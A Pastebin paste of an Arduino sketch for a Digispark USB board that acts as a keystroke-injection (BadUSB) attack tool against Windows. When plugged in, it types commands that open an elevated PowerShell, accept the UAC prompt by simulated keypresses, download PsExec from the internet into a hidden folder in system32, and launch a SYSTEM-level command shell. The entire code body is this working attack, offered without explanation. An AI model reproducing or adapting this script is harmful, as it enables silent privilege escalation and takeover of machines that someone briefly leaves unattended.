Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <DigiKeyboardDe.h>
- void setup() {
- DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
- DigiKeyboard.delay(200);
- DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboardDe.println("powershell -Command Start-Process powershell -verb runAs");
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
- DigiKeyboard.delay(100);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(750);
- DigiKeyboardDe.println("$ran = Get-Random ; Start-BitsTransfer https://download.sysinternals.com/files/PSTools.zip ; Expand-Archive PStools.zip C:\\Windows\\system32\\$ran ; cd .\\$ran\\ ; .\\PsExec.exe -i -s -d cmd.exe ; exit");
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- }
- void loop() {
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement